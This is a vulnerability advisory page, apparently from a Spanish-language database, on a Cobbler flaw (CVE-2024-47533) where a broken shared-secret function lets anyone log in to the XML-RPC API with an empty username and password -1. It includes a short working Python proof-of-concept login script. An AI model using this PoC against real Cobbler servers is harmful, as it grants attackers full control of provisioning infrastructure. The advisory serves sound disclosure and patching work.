cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes
Summary
utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.
Details
utils.py get_shared_secret:
def get_shared_secret() -> Union[str, int]:
"""
The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
:return: The Cobbler secret which enables full access to Cobbler.
"""
try:
with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
data = fd.read()
except:
return -1
return str(data).strip()Always returns -1 because of the following exception:
binary mode doesn't take an encoding argumentThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.
PoC
#!/usr/bin/python3
import ssl
import xmlrpc.client
params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
conn = xmlrpc.client.Server(url)
try:
token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))
print("Login success!")
system_id = conn.new_system(token)Impact
This gives anyone with network access to a cobbler server full control of the server.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | cobbler | >= 3.0.0, < 3.2.3, >= 3.3.0, < 3.3.7 | 3.2.3, 3.3.7 |
Referencias
- https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h
- https://nvd.nist.gov/vuln/detail/CVE-2024-47533
- https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0
- https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda
- https://github.com/cobbler/cobbler
- https://pypi.org/project/cobbler
- https://github.com/advisories/GHSA-m26c-fcgh-cp6h
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Debilidad (CWE)
CWE-287- Plataforma
- Python (PyPI)
- Paquete
cobbler- Publicada
- 18.11.2024
- Actualizado
- 11.10.2026 13:17
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-m26c-fcgh-cp6h - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-316 - PyPA Advisory Database; CC BY 4.0
Historial de vulnerabilidades: cobbler
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 18
- Primera → última
- 10.2021 11.2024
- Sin corrección
- 2
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 4
- Alta 9
- Media 5
Divulgaciones por año
- 2021: 3
- 2022: 14
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 0
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cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes esta entrada
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